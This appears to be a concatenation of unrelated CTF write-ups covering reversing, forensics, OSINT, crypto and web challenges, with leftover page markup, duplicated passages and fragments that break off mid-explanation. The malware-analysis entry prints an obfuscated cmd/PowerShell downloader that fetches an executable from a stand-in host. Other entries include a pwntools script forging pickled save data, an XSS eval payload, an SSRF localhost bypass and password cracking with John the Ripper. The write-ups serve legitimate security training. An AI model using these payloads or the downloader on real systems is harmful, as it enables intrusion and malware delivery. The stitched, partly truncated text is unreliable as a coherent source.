```cpp std::ifstream::basic_ifstream(instream, "wtflag.txt", 8LL); std::ofstream::basic_ofstream(outstream, "wtflag_enc", 4LL); std::getline<char,std::char_traits<char>,std::allocator<char>>(instream, inp); to_hexstring(inp_data, inp); if ( std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(inp_data) <= 0xFF ) { i = 0; v40 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(inp_data); while ( i < 256 - v40 ) { std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(inp_data, "0"); ++i; } }```It reads data of `wtflag.txt` converts into a hex string, then it pads the hex string to 256 bytes (128 bytes of original string)
```cpp mpz_set_str(mpz_hex_str, inp_data, 0x10u); mpz_get_str(integer_str, mpz_hex_str, 10u); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(inp_data, integer_str); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(integer_str);```Then it uses GMP library to convert the hex string to integer string and store it again in `inp_data`.```cpp r = rand_int_0(1u, 0x80u); mpz_get_str(integer_str, mpz_hex_str, 10u); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(inp_data, integer_str); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(integer_str); str_len = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(inp_data); if ( str_len != r ) { v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Your number is very small!"); std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>); exit(0); } std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::substr(sub_1, inp_data, 0LL, r); mpz_set_str(x, sub_1, 10u); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(sub_1); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::substr(sub_2, inp_data, r, -1LL); mpz_set_str(y, sub_2, 10u); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(sub_2);```Then it splits the integer string into two parts using a random number as offset and converts them to mpz integer string, there is a logical error here but we can guess what's the program is trying to do.
**POC**
```cppif ( str_len != r ) // to bypass this r = str_len//thensub_2 = inp_data.substr(r,-1) // == inp_data.substr(str_len,-1) --> which will return null to sub_2mpz_set_str(y, sub_2, 10LL); // bcz sub_2 is null this causes error```
```cpp r1 = rand_int_2(1LL, 0x1FFFFFFFFFFFLL); r2 = rand_int_2(1LL, 0x1FFFFFFFFFFFLL); mpz_init_set(y1, y); mpz_init_set(x1, x); Some_enc(enc_out_1, x1, y1, r1, 2u); mpz_get_str(out_str_1, enc_out_1, 0x10u); mpz_clear(enc_out_1); mpz_clear(x1); mpz_clear(y1); set[0] = sub_4D79(2, x); set[1] = v5; sub_4DB2(y2, set); // y2 = x * 2 mpz_init_set(x2, y); Some_enc(enc_out_2, x2, y2, r2, 2u); mpz_get_str(out_str_2, enc_out_2, 0x10u); mpz_clear(enc_out_2); mpz_clear(x2); mpz_clear(y2);```Then it does some encryption on `x,y,r1,2` and `y,x*2,r2,2` and stores the mpz result to hex strings `out_str_1` and `out_str_2`
### enc```cpp mpz_set_str__(output, "AAAA", 0x10u); sub_4081(tmp_range, len); mpz_set_str(range, tmp_range, 10u); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(tmp_range); mpz_set_str__(i, "0", 10u); while ( mpz_cmp(i, range) ) { sub_48EB(x, y); set_1[0] = v5; // x set_1[1] = v6; // y sub_491C(set_1, num); set_2[0] = v7; // -> set_1 set_2[1] = v8; // num sub_4956(output, set_2); // output = x + y // 2 mpz_set(x, y); // x = y mpz_set(y, output); // y = output inc(tmp, i); // i++ mpz_clear(tmp); } mpz_clear(i); mpz_clear(range);```It does the following loop n times where n is the random number.
```cpp if ( (std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(out_str_1) & 1) == 1 ) v6 = "0"; else v6 = &byte_6072; std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(out_str_1, v6); if ( (std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(out_str_2) & 1) == 1 ) v7 = "0"; else v7 = &byte_6072; std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(out_str_2, v7); ...```Then it pads the hex strings to a even length and store the two hex strings as bytes into the output file with `SSSS` as a seprater.
**Understanding the enc**
The series created by the enc loop converges towards `(a + 2b) / 3` , after a high value of n the series will result in a fixed value (converging point). Since this is a CTF task, we can say that the series converged.
So we can write:```(x + 2y) / 3 = a1(y + 2*2x) / 3 = a2```Now we can solve these equations to get x and y.```x = 3*(2*out_2-out_1) //7y = 3*(4*out_1-out_2) //7```There is a loss in precision in the encryption, but we can bruteforce a byte value high and low to get the flag.
Solve script [here](./solve.py)
## Flag> `S4CTF{_S0L1X_5EqU3nCe_iZ_S1mPl3!!}` |
1) In the page source note the comment:```
```Download the file `admin.php.bak`. It's seems to be the source of `admin.php` on the server.
2) Explore the content of the file:``` |
# Testudo's Pizza
## Challenge:
My local pizzeria is trying out a new logo that is bringing in a lot of new customers. I think something fishy is going on. What are they doing?
## Solution:
We have a single image:
Let's take a quick look at the strings:
```bash$ strings hiddenmsg.jpg | grep UMDCTF\f0\fs24 \cf0 \'93UMDCTF-{W3_ar3_th3_b3st_P1ZZ3r1a}\'94}```
And our flag is revealed: `UMDCTF-{W3_ar3_th3_b3st_P1ZZ3r1a}`. |
# TicTacToe
## Description:Hey, I made a tic tac toe game! If you can beat me enough times Iβll give you a flag. [tictactoe](tictactoe.py) *openssl s_client -connect tamuctf.com:443 -servername tictactoe -quiet*
## Difficulty/Points: `Easy/150`
## FLAG:`gigem{d0esnt_looK_lik3_5t4rs_t0_M3}`### SolutionHaving the [source code](tictactoe.py), after a first reading, it was easy to identify the problem.
The part we have focused on are essentially two:1. `Save progress`: *thanks to which, after winning a game, you can "save"*; ```python elif selection == "3": data = {"wins": wins, "security": get_hash(wins)} print(f"Here you go! Come back and try again! \"{base64.b64encode(pickle.dumps(data)).decode()}\"") pass ```2. `Load progress`: *thanks to which you can "load" a progress starting from the result obtained from the "save"*. ```python elif selection == "4": save = input("What was the code I gave you last time? ") data = pickle.loads(base64.b64decode(save)) if get_hash(data['wins']) != data['security']: print("Hey, the secret code I left isn't correct. You aren't trying to cheat are you :/") continue else: wins = data['wins'] print(f"Okay, that all checks out! I'll mark you down as {wins} wins") pass ``` But what is the information that can be found from these two pieces of code?- how the *"data"* parameter is constructed which is what is encoded and returned as the value of the "save" operation. ```python data = {"wins": wins, "security": get_hash(wins)} ``` In particular, note how the content of the *"security"* field is generated using the *get_hash* method. ```python def get_hash(w): m = sha256() m.update((str(wins) + flag).encode()) return base64.b64encode(m.digest()).decode() ``` It is particular because the parameter that the method receives is not used to generate the hash which will depend only on the value of the *"wins"* variable and the value of the *flag*;- how what is "loaded" is evaluated. ```python if get_hash(data['wins']) != data['security'] ```At this point we knew what to do because, after winning a game and generating the hash, it was enough to reconstruct the *"data"* parameter by imposing that the *"wins"* field was the number to be reached and the *"security"* field was the one generated after "saving", "loading" a progress with the result obtained and finally claiming the reward.
To do this, the following python script has been implemented:```pythonfrom pwn import *from base64 import *from pickle import *
p = process("openssl s_client -connect tamuctf.com:443 -servername tictactoe -quiet", shell=True)
def play_game(): p.sendlineafter("> ", "1") movs = ["0 0", "1 0", "2 0"] for m in movs: p.sendlineafter("> ", m)
def save_progress(): p.sendlineafter("> ", "3") enc_data = p.recvline().strip().decode().split()[8] return enc_data
def rebuild_data(enc_data): data = loads(b64decode(enc_data)) new_data = {"wins": 133713371337, "security": data["security"]} return base64.b64encode(pickle.dumps(new_data)).decode()
def load_progress(data): p.sendlineafter("> ", "4") p.sendlineafter("? ", data)
def print_flag(): p.sendlineafter("> ", "2") print(p.recvline().strip().decode())
if __name__ == "__main__": play_game() enc = save_progress() data = rebuild_data(enc) load_progress(data) print_flag()``` |
# Nikolai 1
## Challenge:
My friend Nikolai went off to school in Wyoming this year and he hasn't been responding to my texts. I'm worried about him since he has no family or friends out there. Can you find out what he has been up to?
## Solution:
Weβre given very little to go on, just a first name, a state, and the implication that the person weβre looking for traveled there for school.
A Facebook search for Nikolai doesnβt tell us much, even filtering by college towns. LinkedIn, however, seems to have what weβre looking for:
Theyβre a student at the University of Wyoming. Their name, Nikolai Mercator, is a reference to [Gerardus Mercator](https://en.wikipedia.org/wiki/Gerardus_Mercator), commonly known for the [Mercator projection](https://en.wikipedia.org/wiki/Mercator_projection). Going further, the profile links to a Twitter account which references the [OpenStreetMap project](https://en.wikipedia.org/wiki/OpenStreetMap).
We need to see who has been committing to OSM in the general vicinity of our target to identify Nikolaiβs account. It doesnβt take long to find him, scrolling through the [history in OSM](https://www.openstreetmap.org/history#map=15/41.1377/-104.7842) for edits around Cheyenne, Wyoming and looking for βNikolaiβ.
Something stands out on his profile:
That's our flag: `UMDCTF-{4_m4pp3r5_p4r4d153}`. |
# Pickle Rick
## Challenge:
You recieve these audio files from someone named Alan Eliasen.
https://drive.google.com/drive/folders/135epDZ18MdIycbBt_Fekbi8hdF-83v6Y?usp=sharing
## Solution:
We have two WAV files with two Rick Astley songs, the classic Never Gonna Give You Up and Together Forever.
If we run a Google search for βAlan Eliasenβ we find [a page discussing steganography tools](https://futureboy.us/stegano/) and an online version of `steghide`. If we upload `rickroll.wav`, we get an error. However, `together-forever-encoded.wav` decodes immediately to `The password is "big_chungus"!`.
Letβs try that password to decode `rickroll.wav`...
And we have our flag: `UMDCTF-{n3v3r_g0nna_l3t_y0u_d0wn}`. |
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<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
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<div id="readme" class="Box-body readme blob js-code-block-container p-5 p-xl-6 gist-border-0"> <article class="markdown-body entry-content container-lg" itemprop="text"><h3><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>Description</h3>Download the archive.zip file and then extract the following using 7z or unzip.It would be a lot easier to use 7z as it will extract all the files in the same directory thus giving out the flag.<h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>Using 7z</h2>Flag found: Hero{if_yOu_gOt_HEre_By_clIcKInG_mANnUaLly_YoU_sHOuLd_REalLy_SeE_SoMeOne}</article> </div>
Download the archive.zip file and then extract the following using 7z or unzip.
It would be a lot easier to use 7z as it will extract all the files in the same directory thus giving out the flag.
Flag found: Hero{if_yOu_gOt_HEre_By_clIcKInG_mANnUaLly_YoU_sHOuLd_REalLy_SeE_SoMeOne}
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# BF means best friend, right?
## Challenge:
We only got part of Melon Eusk's program that prints out their password. Looks like it creates the right string in memory but does not print, see if you can figure out what it is (wrap the string in flag{}).
## Solution:
If we check the provided file, it seems to be plain text:
```$ file main.bfmain.bf: ASCII text, with no line terminators```
Itβs instantly recognizable as [Brainfuck](https://en.wikipedia.org/wiki/Brainfuck):
```--[----->+<]>----[-<+>]+[--------->++<]>[-<+>]--[----->+<]>-----[-<+>]+[----->+++<]>++[-<+>]+[------->++<]>[-<+>]++[------>+<]>++[-<+>]--[----->+<]>----[-<+>]+[------->++<]>--[-<+>]--[----->+<]>-----[-<+>]+[--------->++<]>+[-<+>]--------[-->+++<]>[-<+>]```
We can plug it into [an interpreter](https://www.dcode.fr/brainfuck-language):
```Memory:[0] = b (98)[1] = r (114)[2] = a (97)[3] = i (105)[4] = n (110)[5] = - (45)[6] = b (98)[7] = l (108)[8] = a (97)[9] = s (115)[10] = t (116)```
And thereβs the flag: `flag{brain-blast}`. |
# Art Class
## Challenge:
I was drawing in art class when I glanced over at my classmates drawings. I snapped a picture because I wanted to look up what it meant. Can you figure out what this drawing is?
## Solution:
We're given a picture with a series of flags:
They look nautical. Sure enough, they're [maritime signal flags](https://en.wikipedia.org/wiki/International_maritime_signal_flags).
Translating our image, we get our flag: `UMDCTF-{F1AG_0F_7LA9S}` |
# "N"ot "G"am"I"ng a"N"ymore in "X"mas
## Challenge:
Can you login as admin? http://no-gaming-anymore-in-xmas.ctf2021.hackpack.club
## Solution:
We have a link to a web page with a password input and nothing else.
Using an apostrophe doesnβt result in an error or any messaging β perhaps this isnβt a SQL injection challenge.
The title of the challenge gives us a clue, this will have something to do with NGINX.
If we look at the page source, we can see a hidden debug field. Changing debug from `0` to `1` and submitting another password returns the entire NGINX configuration:
```Let me check again my nginx conf:server {listen 80;server_name localhost;
root /etc/nginx;index index.html;
location /maybehereimportantstuff {try_files $uri $uri/ =404;}}```
If we navigate to `/maybehereimportantstuff`, we see our flag: `flag{ng1nx_m1sconf1g_c4n_b3_h4rmful}`. |
# Aurora
## Challenge:
Aurora is a marvelous phenomenon caused by the interaction between strong solar wind and magnetosphere around the earth.
Image source: https://science.nasa.gov/flag-shaped-aurora-over-sweden
## Solution:
We're given an image of an aurora:
A simple command reveals our flag:
```$ strings Aurora.jpg | grep flagflag{6e4ut1fuL_Aur0r4}```
There it is, localized entirely within this CTF: `flag{6e4ut1fuL_Aur0r4}`. |
# HeroCTF v3
## 0xSSRF
Going into this challenge we had the following page:
So from what we have is a proxy website allows us to fecth data from another website from it.We also see that there is as link called "Get Flag" which unfortunatly returns:
So from what we can see we can only access the "Get Flag" from the localhost which is a problem.We try to put the link via the proxy service which returns:
After some attemps to check different ways of using localhost ip we get to http://0:3000/flag which gives us the flag Hero{cl4ssic_SSRF_byP4pass_251094}
 |
# Nikolai 2
## Challenge:
Nikolai's school recently contacted his parents since he hasn't been seen in his dorm or classes for over a week. They know you are an OSINT CHAD and asked for your help. Can you figure out where he ran off to?
Flag Format: UMDCTF-{20_W_34th_St_New_York_NY_10001}
P.S. If you enjoy this challenge you might also enjoy https://www.tracelabs.org/
Hint: All of the accounts you found in Nikolai 1 may be important for this solve
Warning, you only have *five* guesses
## Solution:
Looking at Nikolaiβs OSM history, we can see a clear path from Laramie, Wyoming, to Cheyenne, and into Colorado from Fort Collins down to Colorado Springs. Once theyβre in Colorado springs, we can see a fairly small area where theyβve traveled on their walks:
We know from Nikolaiβs Twitter account that theyβre staying at a βlodgeβ close to a gas station and a Dominoβs Pizza. A quick search of Colorado Springs for Dominoβs Pizza finds us a location right in the middle of Nikolaiβs check-ins. And very close by we see Aspen Lodge:
The address is our flag: `UMDCTF-{3990_N_Nevada_Ave_Colorado_Springs_CO_80907}`. |
<div align="center"> # RITSEC21
| Challenge | Category | Link || :-----: | :-: | :-: || 1597 | Forensics | [Click Me!!](https://github.com/a3X3k/Bi0s/tree/master/CTFs/RITSEC21/Forensics/1597) || Blob | Forensics | [Click Me!!](https://github.com/a3X3k/Bi0s/tree/master/CTFs/RITSEC21/Forensics/Blob) || Inception CTF | Forensics | [Click Me!!](https://github.com/a3X3k/Bi0s/tree/master/CTFs/RITSEC21/Forensics/InceptionCTF) || Bird Thief FYSA | Forensics | [Click Me!!](https://github.com/a3X3k/Bi0s/tree/master/CTFs/RITSEC21/Forensics/Bird%20Thief%20FYSA) || Parcel | Forensics | [Click Me!!](https://github.com/a3X3k/Bi0s/tree/master/CTFs/RITSEC21/Forensics/Parcel) || #OSINT | INTEL | [Click Me!!](https://github.com/a3X3k/Bi0s/tree/master/CTFs/RITSEC21/INTEL/%23OSINT) |
</div> |
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<div id="readme" class="Box-body readme blob js-code-block-container p-5 p-xl-6 gist-border-0"> <article class="markdown-body entry-content container-lg" itemprop="text"><h3><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>Description</h3>We have given the encrypted flag and the script used to encrypt that flag. Let's check it out.<div class="snippet-clipboard-content position-relative overflow-auto" data-snippet-clipboard-copy-content="#!/usr/bin/env python3from os import urandomfrom random import randintfrom pwn import xor
We have given the encrypted flag and the script used to encrypt that flag. Let's check it out.
input_img = open("flag.png", "rb").read()outpout_img = open("flag.png.enc", "wb")
key = urandom(8) + bytes([randint(0, 9)])outpout_img.write(xor(input_img, key))">#!/usr/bin/env python3from os import urandomfrom random import randintfrom pwn import xor
input_img = open("flag.png", "rb").read()outpout_img = open("flag.png.enc", "wb")
key = urandom(8) + bytes([randint(0, 9)])outpout_img.write(xor(input_img, key))</div>So the key is 9 bytes long, we can get the key as we already know the PNG file headers.The first 9 bytes of PNG file are as follows:89 50 4E 47 0D 0A 1A 0A 00If we perform XOR operation with these bytes, we will get the key and then we can decrypt the rest of the bytes.<div class="snippet-clipboard-content position-relative overflow-auto" data-snippet-clipboard-copy-content="#!/usr/bin/env python
So the key is 9 bytes long, we can get the key as we already know the PNG file headers.The first 9 bytes of PNG file are as follows:
89 50 4E 47 0D 0A 1A 0A 00
If we perform XOR operation with these bytes, we will get the key and then we can decrypt the rest of the bytes.
from pwn import xor
file = open('flag.png.enc',"rb")raw = file.read()
array = bytearray(raw)to_xor = [137,80,78,71,13,10,26,10,0]
key = [array[x] ^ to_xor[x] for x in range(9)]
img = open("flag.png","wb")
img.write(xor(raw,key))">#!/usr/bin/env python
from pwn import xor
file = open('flag.png.enc',"rb")raw = file.read()
array = bytearray(raw)to_xor = [137,80,78,71,13,10,26,10,0]
key = [array[x] ^ to_xor[x] for x in range(9)]
img = open("flag.png","wb")
img.write(xor(raw,key))</div></article> </div>
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**Description**: -
**Stars**: 2/5
**Downloadable**:Alien Weaknesses.pptx - a PowerPoint presentation
**Goal**: Given the Alien Weaknesses.pptx file, get the flag
**Solution**:
Quite interesting challenge, using a very specific ability of Office documents to have external relations.As we know, the new Office document format since 2007 is basically just a zipped folder of different .xml files describing it. So, first thing we need to do is unpack it with any zip extractor.
Then we can check whatβs inside. Powerpoint presentation, has a standard office document format with documentpProperties etc. + ppt folder with one xml file per slide (in this case only one). We will start here to see whatβs actually included int the slide.
(https://github.com/lasq88/CTF/blob/main/HTB%20Cyber%20Apocalypse%202021/forensics_alienphish/writeup/slide1.png)
This looks interesting, thereβs an image with a strange directive for βa:hlinkHoverβ event. But what does it mean?
`ppaction://program` is in fact documented by Microsoft here: https://docs.microsoft.com/en-us/openspecs/office_standards/ms-oi29500/a65b76db-6abc-4989-8cd1-baa9a3500f6f
`[It] specifies that the link shall run an application external to this presentation package. The r:id attribute for this element specifies the corresponding relationship containing the reference to the application. `
So now we need to check this r:id object. Seems this is a relation object and all relations can be usually found in `__rel` folder.
If we check there, we can see that relation `rId2` is in fact an URL encoded command line argument, that is executed after mouse hovers over the image in presentation.
(https://github.com/lasq88/CTF/blob/main/HTB%20Cyber%20Apocalypse%202021/forensics_alienphish/writeup/relation2.png)
What does it do? Well it is a URL encoded command, so we can decode it in CybeChef:
```Batchfilecmd.exe /V:ON/C"set yM="o$ eliftuo- exe.x/neila.htraeyortsed/:ptth rwi ;'exe.99zP_MHMyNGNt9FM391ZOlGSzFDSwtnQUh0Q' + pmet:vne$ = o$" c- llehsrewop&&for /L %X in (122;-1;0)do set kCX=!kCX!!yM:~%X,1!&&if %X leq 0 call %kCX:*kCX!=%"```
It seems to contain a reversed command string for additional obfuscation. After we reverse it (again in cyberchef) we can see itβs a powershell command:
```powershellpowershell -c "$o = $env:temp + 'Q0hUQntwSDFzSGlOZ193MF9tNGNyMHM_Pz99.exe'; iwr http:/destroyearth.alien/x.exe -outfile $o```
It seems to be downloading an executable to the %TEMP% folder, but the domain doesnβt exist. Normally this would be a part of code that we call a βDownloaderβ malware. Its purpose is to download and execute next stage of the infection chain.
In this case what is interesting for us is file name. It looks like a base64, and in fact if we decode it kind of gives us a flag, but this flag is not yet correct: `CHTB{pH1sHiNg_w0_m4cr0s.ΓΓ`
There seems to be something wrong in the end. Indeed it is a base64 with slightly changed alphabet (malware actors sometimes change base64 alphabet for additional obfuscation). In this case we have something that is called βURL_safe base64 and is a part of standard RFC 4648 for base encodings. We can choose it as an option in CyberChef and it will give us a correct flag: `CHTB{pH1sHiNg_w0_m4cr0s???}` |
# sELF control (75 pts)
**Description:**
````I found a program to read the flag but it seems to be broken... Could you help me patching patching two bytes to make it functional ?
Challenge : nc chall0.heroctf.fr 2048
Format : Hero{}Author : SoEasY````
**Files:**
[READFLAG](files/READFLAG)
<hr>
In this challenge, we will surely have to deal with some problems with the [ELF format](https://en.wikipedia.org/wiki/Executable_and_Linkable_Format).
First of all, if we try to execute it, we got the following error:```sh$ chmod +x READFLAG$ ./READFLAGbash: ./READFLAG: cannot execute binary file: Exec format error```
Let's gather more informations:
that a lot of informations but at a first glance, we can see that the attribute `machine` has been surely replaced by `Intel IA-64`. The [magic](https://en.wikipedia.org/wiki/File_format#Magic_number) is OK.
Let's compare it with an other binary on my system: 
Let's try and change the machine type to match our system ([x86_64](https://en.wikipedia.org/wiki/X86-64)). We will use [GHex](https://wiki.gnome.org/Apps/Ghex) to modify the binary.
this is the header of an ELF file: 
The magic is 16 bytes long, then there is a type who is 2 bytes long, then the machine type, 2 bytes long too. So, we need to edit the value of the machine type at offset 16 (0x12) using this [correspondence table](http://www.sco.com/developers/gabi/latest/ch4.eheader.html).
```cssEM_IA_64 50 (0x32) Intel IA-64 processor architecture...EM_X86_64 62 (0x3E) AMD x86-64 architecture```
The new header look like this in hexadecimal: 
Now if we try again to execute our program, we get a segfault:```sh$ ./READFLAG Segmentation fault```
It means that our computer has started the program but an error has forced it to stop. Let's open our binary in Cutter to investigate.
After a bit of research based on the header, we spot that the entry point of the program is at 0x10A1 which doesn't match with the [_start label](https://en.wikipedia.org/wiki/Entry_point) who is at 0x10A0 (shift of 1).
In the header, the entrypoint address can be found at offset 24 (0x18), we need to change the value from 0x10A1 to 0x10A0.Here is the new content of out header: 
Now, when we try to execute the program, there is no more crashes!
We can then submit our modifications to the server: 
Here is the flag!
Flag: `Hero{W0w_s0_y0u_4r3_4n_ELF_h34d3r_M4sT3r???}`
Author: Ooggle |
1. We XOR the two ciphertexts from `output.txt` together2. Since we know that our flag starts with `CHTB{`, we will XOR the result of `1.` with it, to see the first letters of our quote.3. We find the appropriate quote that gave us one of the ciphertexts4. XOR the quote with our result from `1.` to get the flag. |
# Whats your InputThis is a python2 input vuln. We know that python2 input is basically `eval(raw_input(prompt))`## MethodFor the second user input, just type `city` since we know that it will evaluated to whatever randm city it chose and thus printing the flag. |
# Elizabeth is Missing
- We are provided with the [`PDF`](https://github.com/a3X3k/Bi0s/blob/master/CTFs/TAMU/Assets/eowens%20flyer.pdf).
- Here we can see deci mal.- [`Decode`](https://convert.town/ascii-to-text) it to ASCII.
```72 101 121 33 32 73 39 109 32 104 111 115 116 105 110 103 32 97 32 114 101 116 114 101 97 116 32 102 111 114 32 109 121 32 99 108 105 101 110 116 115 32 115 111 32 73 39 108 108 32 98 101 32 111 102 102 32 116 104 101 32 103 114 105 100 32 102 111 114 32 97 119 104 105 108 101 32 45 32 73 32 103 111 116 32 97 32 110 101 119 32 112 104 111 110 101 32 110 117 109 98 101 114 44 32 115 111 32 99 97 108 108 32 109 101 32 105 102 32 121 111 117 32 110 101 101 100 32 97 110 121 116 104 105 110 103 32 40 57 55 57 41 52 50 57 45 50 49 55 54 46
Hey! I'm hosting a retreat for my clients so I'll be off the grid for awhile - I got a new phone number, so call me if you need anything (979)429-2176.```
- We are provided with Mobile Number.- I spent more than 5 hours in tracing out in different Police FIR's and tried to OSINT with the name `ELIZABETH OWENS`.- My last hope was to call the number.- Since its a international dialing, I have used [`Free Calls - International Phone Calling App`](https://play.google.com/store/apps/details?id=com.whatsphone.messenger.im) for free dialing.- You get 10 credits depending on App. - I understood that its a voice mail. - So I called again with recording on. - Then I played the audio thrice to understand.- Thats basically the `https` link [`Eowensphotography`](eowensphotography.weebly.com).- Paste it in URL bar and OSINT the site. - You will see the section `Where Am I?`. - There you will get the flag.
```Flag --> gigem{3_0W3N5}``` |
# Freddie's Files
## FLAG:`UMDCTF-{pHR3dd13_m3RcURY_w0uld_83_pR0uD}`### SolutionAfter downloading the FreddiesFiles.zip file, we had to crack it as it was password protected. This was done thanks to [John The Ripper](https://github.com/openwall/john) with the following commands:```consoleasd@asd:~/Scrivania/UMDCTF$ zip2john FreddiesFiles.zip > tocrackver 2.0 efh 5455 efh 7875 FreddiesFiles.zip/ciphertext.txt PKZIP Encr: 2b chk, TS_chk, cmplen=91, decmplen=319, crc=293BF639ver 1.0 efh 5455 efh 7875 FreddiesFiles.zip/key.txt PKZIP Encr: 2b chk, TS_chk, cmplen=44, decmplen=32, crc=9BC81710ver 2.0 efh 5455 efh 7875 FreddiesFiles.zip/queen.txt PKZIP Encr: 2b chk, TS_chk, cmplen=6588, decmplen=16538, crc=2D86B827NOTE: It is assumed that all files in each archive have the same password.If that is not the case, the hash may be uncrackable. To avoid this, useoption -o to pick a file at a time.asd@asd:~/Scrivania/UMDCTF$ john --wordlist=rockyou.txt tocrackUsing default input encoding: UTF-8Loaded 1 password hash (PKZIP [32/64])No password hashes left to crack (see FAQ)asd@asd:~/Scrivania/UMDCTF$ john --show tocrackFreddiesFiles.zip:qfreddie78::FreddiesFiles.zip:key.txt, ciphertext.txt, queen.txt:FreddiesFiles.zip
1 password hash cracked, 0 left```
After recovering the password (*qfreddie78*) and unpacking the zip file, we extracted 3 files: [ciphertext.txt](FreddiesFiles/ciphertext.txt), [key.txt](FreddiesFiles/key.txt) and [queen.txt](FreddiesFiles/queen.txt).
We started to think what could be done with these 3 files and looking at the *key* we noticed that it was an MD5, so, at first, we saw if it was a known hash and we did not arrive at a result, then seeing the *queen* file we tried to crack the *key* (always with John The Ripper) using the *queen.txt* file as wordlist and we had a result.```consoleasd@asd:~/Scrivania/UMDCTF/FreddiesFiles$ john --wordlist=queen.txt key.txt --format=Raw-MD5Using default input encoding: UTF-8Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])No password hashes left to crack (see FAQ)asd@asd:~/Scrivania/UMDCTF/FreddiesFiles$ john --show --format=Raw-MD5 key.txt ?:Buddy, you're a boy, make a big noise
1 password hash cracked, 0 left```
At this point, doing the [xor](http://xor.pw/#) of the key with the ciphertext you get the flag!
|
# Lost at Sea
- Download the `ZIP` file.- Extract it and mount it in `Autopsy`.- Recover songs from the `Recycle Bin`. - We shall understand that the original songs are [`Moby duck`](https://www.youtube.com/watch?v=xA7e_dxDOCo) - [`Running down to cuba`](https://youtu.be/J1P2XXDMfbY) - [`Wellerman`](https://www.youtube.com/watch?v=WHbU6s0jANc).- Download original song. - Using audacity, invert recovered song and align with original. - The Song will be gone and you can hear flag.- If all goes fine you will directly get the clear audio.- In my case the refining was not proper and was able to hear partially.- With that we have found the partial flag.
```WPI{ICOMEFROMTHEDAYSOFTHE <> WEWOULD <> ANDLEECHALLDAY}```
- After a long search we have found the [`YouTube`](https://www.youtube.com/watch?v=qCoSNpcz9K8) song with same lyrics.
```Flag --> WPI{ICOMEFROMTHEDAYSOFTHEPIRATEBAYWHEREWEWOULDTORRENTANDLEECHALLDAY}``` |
[https://ch6.sbug.se](https://ch6.sbug.se)
This is simple challenge as the site title writes. As the challenge title writes i have to do alert with xss Analyzing the source code I found some scripts
```javascriptfunction loadObj(){ var cc=eval('('+unescape(aacc)+')'); document.getElementById('msg').textContent=cc.message;}
if(window.location.hash.indexOf('mass')==-1) var aacc="({\"message\":\"Hello User!\"})";else var aacc=location.hash.substr(window.location.hash.indexOf('mass=')+5);``` ```jsonload="loadObj()"```
```jsid="msg"```
```jsvar tmp =location.hash;
$.ajax({ type: "POST", url: "Tc5IQib027qvyjSMfHjOMaLk.php", data: {"tmp":tmp}, success: function(data,status){ eval(data) } });```
This script checks if there is something after `#` symbol in page url and if there is `mass=` evals the rest. The loadObj function is called everytime the page is refreshed. The getElementById changes the "Hello User" to evaled message and writes it to the page. The ajax requests sends the evaled data to a php script which contains the flag and evals the code after #
Easy eval. I used the simplest `alert(1)` as the xss payload got that url and refreshed the page. XSS worked and there was also the flag[https://ch6.sbug.se/#mass=alert(1)](https://ch6.sbug.se/#mass=alert(1))
